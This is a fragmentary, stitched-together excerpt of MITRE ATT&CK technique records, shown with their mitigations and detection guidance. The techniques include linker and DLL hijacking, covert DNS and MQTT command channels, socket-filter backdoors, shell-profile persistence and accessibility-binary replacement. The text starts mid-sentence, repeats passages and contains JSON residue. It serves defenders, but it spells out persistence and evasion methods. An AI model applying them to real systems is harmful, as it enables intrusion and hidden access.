LD_PRELOAD)\n  - Detection centers on DYLD_INSERT_LIBRARIES and DYLD_LIBRARY_PATH abuse. Defender perspective: monitor for modification of these environment variables in shell or plist files, file creation of dylibs in user-controlled paths, and correlation of environment variable usage with unexpected module loads by user applications. Suspicious indicators include processes with DYLD_INSERT_LIBRARIES set, execution of applications loading untrusted dylibs, and anomalies in module load history. (telemetry: macos:unifiedlog:execution of process with DYLD_INSERT_LIBRARIES set, macos:unifiedlog:create/modify dylib in monitored directories, macos:unifiedlog:loading of unexpected dylibs compared to historical baselines)\n\n## Tracked users (groups, malware, tools)\n- Aquatic Panda (intrusion-set): Aquatic Panda is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage.\n- Rocke (intrusion-set): Rocke is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency.\n- Hildegard (malware): Hildegard is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations.

Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n\nDisable Unused Features:\n\n- Turn off SMBv1, LLMNR, and NetBIOS where not needed.\n- Disable remote registry and unnecessary services.\n\nEnforce OS-level Protections:\n\n- Enable Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG) on Windows.\n- Use AppArmor or SELinux on Linux for mandatory access controls.\n\nSecure Access Settings:\n\n- Enable User Account Control (UAC) for Windows.\n- Restrict root/sudo access on Linux/macOS and enforce strong permissions using sudoers files.\n\nFile System Hardening:\n\n- Implement least-privilege access for critical files and system directories.\n- Audit permissions regularly using tools like icacls (Windows) or getfacl/chmod (Linux/macOS).\n\nSecure Remote Access:\n\n- Restrict RDP, SSH, and VNC to authorized IPs using firewall rules.\n- Enable NLA for RDP and enforce strong password/lockout policies.\n\nHarden Boot Configurations:\n\n- Enable Secure Boot and enforce UEFI/BIOS password protection.\n- Use BitLocker or LUKS to encrypt boot drives.\n\nRegular Audits:\n\n- Periodically audit OS configurations using tools like CIS Benchmarks or SCAP tools.\n\n*Tools for Implementation*\n\nWindows:\n\n- Microsoft Group Policy Objects (GPO): Centrally enforce OS security settings.\n- Windows Defender Exploit Guard: Built-in OS protection against exploits.\n- CIS-CAT Pro: Audit Windows security configurations based on CIS Benchmarks.\n\nLinux/macOS:\n\n- AppArmor/SELinux: Enforce mandatory access controls.\n- Lynis: Perform comprehensive security audits.\n- SCAP Security Guide: Automate configuration hardening using Security Content Automation Protocol.\n\nCross-Platform:\n\n- Ansible or Chef/Puppet: Automate configuration hardening at scale.\n- OpenSCAP: Perform compliance and configuration checks.\n\n## Execution Prevention\nPrevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\nApplication Control:\n\n- Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.\n- Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath \"C:\\Policies\\AppLocker.xml\"`)\n\nScript Blocking:\n\n- Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.\n- Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`)\n\nExecutable Blocking:\n\n- Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories.\n- Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories.\n\nDynamic Analysis Prevention:\n- Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.\n- Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.\n\n## Principle\nAgainst T1574.006, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1573.002 Asymmetric Cryptography\n**ATT&CK T1573.002 Asymmetric Cryptography (full record).** Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1573 Encrypted Channel - Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **SSL/TLS Inspection**: SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity. This capability is crucial for detecting threats that use encryption to evade detection, such as phishing, malware, or data exfiltration.

Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.

[…]\n\n## Reference: ATT&CK T1574.001 DLL\n**ATT&CK T1574.001 DLL (full record).** Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.\n\nSpecific ways DLLs are abused by adversaries include:\n\n**DLL Sideloading.** Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload.\n\n**DLL Search Order Hijacking.** Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. […]"}]}

During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as `LD_PRELOAD` on Linux or `DYLD_INSERT_LIBRARIES` on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name. Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set `LD_PRELOAD` to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library’s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to Hide Artifacts from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.\n\n## Reference: ATT&CK T1623 Command and Scripting Interpreter\n**ATT&CK T1623 Command and Scripting Interpreter (full record).** Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.

Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\n\nIf the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user.

Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.\n\nAn intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.\n\nIn addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.\n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts.

[…]\n\n## Reference: ATT&CK T0868 Detect Operating Mode\n**ATT&CK T0868 Detect Operating Mode (full record).** Adversaries may gather information about a PLCs or controllers current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:\n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.\n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic.Program Upload and Program Download are disabled while in this mode.\n* Remote - Allows for remote changes to a PLCs operation mode.\n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.\n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.\n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments.

These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Sub-techniques.** - T0869.001 DNS: Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\n- T0869.002 Publish/Subscribe Protocols: Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic.\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation. […]\n\n## Reference: ATT&CK T0869.001 DNS\n**ATT&CK T0869.001 DNS (full record).** Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records.\nDNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.\n\nAdversaries may also use DNS over TLS (DoT) or HTTPS (DoH) for resolving C2 servers. This encrypts the DNS requests and allows the malware to lookup C2 servers without being detected by security systems (e.g., DNS filtering based on indicators of compromise).\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus.

Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and broker.\n\nProtocols such as MQTT are widely used in Internet-of-Things (IoT) and operational technology environments where devices are resource constrained and there is limited or unreliable network bandwidth. The protocol follows a publish/subscribe design, with message distribution managed by a centralized broker. Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics. An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also blending in with normal, expected traffic.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic.\n\n**Mitigations.** - **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.

This could be used to hide C2 SMS messages, spread malware, or various external effects.\n\nThis can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.\n\n## Reference: ATT&CK T1204.005 Malicious Library\n**ATT&CK T1204.005 Malicious Library (full record).** Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.\n\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1204 User Execution - An adversary may rely upon specific actions by a user in order to gain execution.

To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\n**Classification.** - Tactics: stealth, persistence, command-and-control\n- Platforms: Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1205 Traffic Signaling - Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic.

Within a short window the host changes firewall state (WFP rule added/modified or service starts listening) and then the same source completes the first successful handshake to the newly opened port. […]\n\n## Reference: ATT&CK T1205.002 Socket Filters\n**ATT&CK T1205.002 Socket Filters (full record).** Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\n\n**Classification.** - Tactics: stealth, persistence, command-and-control\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1205 Traffic Signaling - Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic.

[…]\n\n## Reference: ATT&CK T1210 Exploitation of Remote Services\n**ATT&CK T1210 Exploitation of Remote Services (full record).** Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services. Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, Windows, macOS, ESXi\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Vulnerability Scanning**: Vulnerability scanning involves the automated or manual assessment of systems, applications, and networks to identify misconfigurations, unpatched software, or other security weaknesses. […]\n\n## Reference: ATT&CK T1211 Exploitation for Stealth\n**ATT&CK T1211 Exploitation for Stealth (full record).** Adversaries may exploit vulnerabilities to evade detection by hiding activity, suppressing logging, or operating within trusted or unmonitored components.\n\nAdversaries may exploit a system or application vulnerability to avoid detection while maintaining access within an environment. Exploitation occurs when an adversary leverages a programming flaw to execute code in a manner that minimizes visibility or blends in with legitimate activity.\n\nRather than directly disabling defenses, adversaries may use exploitation to circumvent monitoring and logging mechanisms. This can include abusing vulnerabilities in logging pipelines, security tools, or cloud infrastructure to evade audit trails, suppress alerts, or operate without generating telemetry.\n\nAdversaries may identify these opportunities through prior reconnaissance or by performing discovery of security controls after initial access. In some cases, vulnerabilities in SaaS or public cloud environments may be exploited to evade logging, obscure activity, or deploy infrastructure that remains hidden from standard monitoring tools.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, Windows, macOS, SaaS, IaaS\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software.\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Threat Intelligence Program**: A Threat Intelligence Program enables organizations to proactively identify, analyze, and act on cyber threats by leveraging internal and external data sources. The program supports decision-making processes, prioritizes defenses, and improves incident response by delivering actionable intelligence tailored to the organization's risk profile and operational environment.

User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (`/etc`) and the user’s home directory (`~/`) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.\n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the `/etc/profile` and `/etc/profile.d` files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into `~/.bash_profile`, `~/.bash_login`, or `~/.profile` which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used `~/.bash_profile` to ensure execution. Adversaries have also leveraged the `~/.bashrc` file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the `~/.bash_logout` file to execute malicious commands at the end of a session.\n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. […]\n\n## Reference: ATT&CK T1546.006 LC_LOAD_DYLIB Addition\n**ATT&CK T1546.006 LC_LOAD_DYLIB Addition (full record).** Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: macOS\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. […]\n\n## Reference: ATT&CK T1546.008 Accessibility Features\n**ATT&CK T1546.008 Accessibility Features (full record).** Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are `C:\\Windows\\System32\\sethc.exe`, launched when the shift key is pressed five times and `C:\\Windows\\System32\\utilman.exe`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `%systemdir%\\`, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `C:\\Windows\\System32\\utilman.exe`) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. […]\n\n## Reference: ATT&CK T1546.009 AppCert DLLs\n**ATT&CK T1546.009 AppCert DLLs (full record).** Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the `AppCertDLLs` Registry key under `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\` are loaded into every process that calls the ubiquitously used application programming interface (API) functions `CreateProcess`, `CreateProcessAsUser`, `CreateProcessWithLoginW`, `CreateProcessWithTokenW`, or `WinExec`.\n\nSimilar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for AppCert DLLs Persistence via Registry Injection**\n  - Detection of AppCert DLL abuse involves correlating registry modifications to the AppCertDLLs key with subsequent unexpected DLL load behavior during process creation events. Specifically, defenders can observe abnormal DLLs being loaded into standard Windows processes after changes to the 'AppCertDLLs' registry value. Monitoring CreateProcess-family API executions with injected DLLs and linking those DLLs back to recent registry edits is key to identifying misuse. This is often accompanied by elevated privileges and potential lateral movement or discovery behavior.

In practice this is nearly every program, since user32.dll is a very common library.\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. […]"}]}

These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection of DNS Server**\n  - Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and broker.\n\nProtocols such as MQTT are widely used in Internet-of-Things (IoT) and operational technology environments where devices are resource constrained and there is limited or unreliable network bandwidth. The protocol follows a publish/subscribe design, with message distribution managed by a centralized broker. Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics. An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also blending in with normal, expected traffic.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic.\n\n**Mitigations.** - **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.

